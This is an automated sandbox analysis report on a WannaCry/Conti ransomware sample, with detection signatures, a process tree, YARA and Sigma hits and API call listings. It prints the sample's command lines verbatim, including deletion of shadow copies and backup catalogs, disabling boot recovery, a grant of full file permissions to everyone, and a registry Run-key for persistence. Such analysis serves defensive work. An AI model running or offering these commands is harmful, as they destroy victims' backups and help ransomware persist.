Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
LisectAVT_2403002A_126.EXE.exe

Overview

General Information

Sample name:LisectAVT_2403002A_126.EXE.exe
Analysis ID:1482512
MD5:c98e7230adb1ba8d2f2082ca885068bb
SHA1:523a6fdf84bc1b0eec54d9532b3dbe564f29af38
SHA256:6cf41e72620cafb1577415d626dbb66c8c796d7167164ca091a27c4273378a20
Infos:

Detection

Wannacry, Conti
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Sigma detected: Delete shadow copy via WMIC
Yara detected Conti ransomware
Yara detected Wannacry ransomware
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Command shell drops VBS files
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Creates files in the recycle bin to hide itself
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the document folder of the user
Found Tor onion address
Machine Learning detection for dropped file
Machine Learning detection for sample
May use the Tor software to hide its network traffic
Modifies existing user documents (likely ransomware behavior)
Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
Uses bcdedit to modify the Windows boot settings
Writes many files with high entropy
Writes to foreign memory regions
Abnormal high CPU Usage
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Startup Folder File Write
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

Process Tree

  • System is w10x64native
  • LisectAVT_2403002A_126.EXE.exe (PID: 9188 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe" MD5: C98E7230ADB1BA8D2F2082CA885068BB)
    • attrib.exe (PID: 8588 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • icacls.exe (PID: 7604 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
      • conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • taskdl.exe (PID: 7612 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • cmd.exe (PID: 8744 cmdline: C:\Windows\system32\cmd.exe /c 109861721946031.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • cscript.exe (PID: 8076 cmdline: cscript.exe //nologo m.vbs MD5: 13783FF4A2B614D7FBD58F5EEBDEDEF6)
    • dllhost.exe (PID: 8744 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • taskdl.exe (PID: 9280 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 10204 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 10088 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • @WanaDecryptor@.exe (PID: 5284 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)
      • taskhsvc.exe (PID: 3176 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)
        • conhost.exe (PID: 2712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 8172 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • @WanaDecryptor@.exe (PID: 4800 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)
        • cmd.exe (PID: 8684 cmdline: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 8668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
          • WMIC.exe (PID: 8804 cmdline: wmic shadowcopy delete MD5: 82BB8430531876FBF5266E53460A393E)
    • taskse.exe (PID: 9140 cmdline: taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)
    • @WanaDecryptor@.exe (PID: 9144 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)
    • cmd.exe (PID: 9200 cmdline: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 9196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • reg.exe (PID: 8824 cmdline: MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • taskdl.exe (PID: 9824 cmdline: MD5: 4FEF5E34143E646DBF9907C4374276F5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
WannaCryptor, WannaCry, WannaCrypt
  • Lazarus Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
NameDescriptionAttributionBlogpost URLsLink
Conti, Conti LockConti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
LisectAVT_2403002A_126.EXE.exeJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    LisectAVT_2403002A_126.EXE.exeWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
    LisectAVT_2403002A_126.EXE.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    LisectAVT_2403002A_126.EXE.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x342d41:$x2: taskdl.exe
    • 0x35962d:$x2: taskdl.exe
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0x359d91:$s2: Windows 10 -->
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x3591ff:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\user\Desktop\r.wnryWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x27c:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    Click to see the 45 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      00000000.00000000.849626717.000000000040E000.00000008.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
      • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
      • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
      00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            Click to see the 8 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            34.0.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
              34.0.@WanaDecryptor@.exe.400000.0.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2
              • 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ...
              • 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
              31.2.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
                31.2.@WanaDecryptor@.exe.400000.0.unpackWin32_Ransomware_WannaCryunknownReversingLabs
                • 0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2
                • 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ...
                • 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
                34.2.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
                  Click to see the 11 entries

                  Sigma Signatures

                  Operating System Destruction

                  barindex
                  Sigma detected: Delete shadow copy via WMIC
                  Source: Process startedAuthor: Joe Security: Data: Command: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\Desktop\@WanaDecryptor@.exe, ParentProcessId: 4800, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 8684, ProcessName: cmd.exe

                  System Summary

                  barindex
                  Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: wmic shadowcopy delete, CommandLine: wmic shadowcopy delete, CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8684, ParentProcessName: cmd.exe, ProcessCommandLine: wmic shadowcopy delete, ProcessId: 8804, ProcessName: WMIC.exe
                  Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe", ParentImage: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe, ParentProcessId: 9188, ParentProcessName: LisectAVT_2403002A_126.EXE.exe, ProcessCommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ProcessId: 9200, ProcessName: cmd.exe
                  Sigma detected: Startup Folder File Write
                  Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe, ProcessId: 9188, TargetFilename: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD7344.tmp
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 109861721946031.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8744, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 8076, ProcessName: cscript.exe
                  Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\Desktop\tasksche.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 8824, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\njyalyugfohc920

                  Snort Signatures

                  ⊘No Snort rule has matched

                  Suricata Signatures

                  Timestamp:2024-07-26T00:20:23.753112+0200
                  SID:2028377
                  Source Port:49751
                  Destination Port:443
                  Protocol:TCP
                  Classtype:Unknown Traffic
                  Timestamp:2024-07-26T00:22:41.799380+0200
                  SID:2028377
                  Source Port:49752
                  Destination Port:9000
                  Protocol:TCP
                  Classtype:Unknown Traffic
                  Timestamp:2024-07-26T00:22:35.911095+0200
                  SID:2028377
                  Source Port:49750
                  Destination Port:9001
                  Protocol:TCP
                  Classtype:Unknown Traffic

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus / Scanner detection for submitted sample
                  Source: LisectAVT_2403002A_126.EXE.exeAvira: detected
                  Antivirus detection for dropped file
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: TR/FileCoder.724645
                  Machine Learning detection for dropped file
                  Source: C:\@WanaDecryptor@.exeJoe Sandbox ML: detected
                  Machine Learning detection for sample
                  Source: LisectAVT_2403002A_126.EXE.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,31_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404AF0 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,31_2_00404AF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,31_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004046F0 CryptImportKey,31_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004046B0 CryptAcquireContextA,31_2_004046B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404770 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,31_2_00404770
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004047C0 CryptEncrypt,_local_unwind2,CryptDecrypt,strncmp,_local_unwind2,31_2_004047C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,34_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00404AF0 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,34_2_00404AF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,34_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004046F0 CryptImportKey,34_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004046B0 CryptAcquireContextA,34_2_004046B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00404770 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,34_2_00404770
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004047C0 CryptEncrypt,_local_unwind2,CryptDecrypt,strncmp,_local_unwind2,34_2_004047C0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00D3C797 abort,CryptAcquireContextA,CryptGenRandom,__stack_chk_fail,36_2_00D3C797
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00D35EA1 ERR_load_crypto_strings,OPENSSL_add_all_algorithms_noconf,SSLeay,SSLeay_version,strcmp,__stack_chk_fail,36_2_00D35EA1
                  Source: taskhsvc.exe, 00000024.00000002.5904328503.0000000003ED4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -----BEGIN RSA PUBLIC KEY-----memstr_cdd69ad5-b
                  Source: LisectAVT_2403002A_126.EXE.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: C:\Users\user\Desktop\taskdl.exeCode function: 6_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,6_2_00401080
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,31_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,31_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,31_2_004026B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,34_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,34_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004026B0 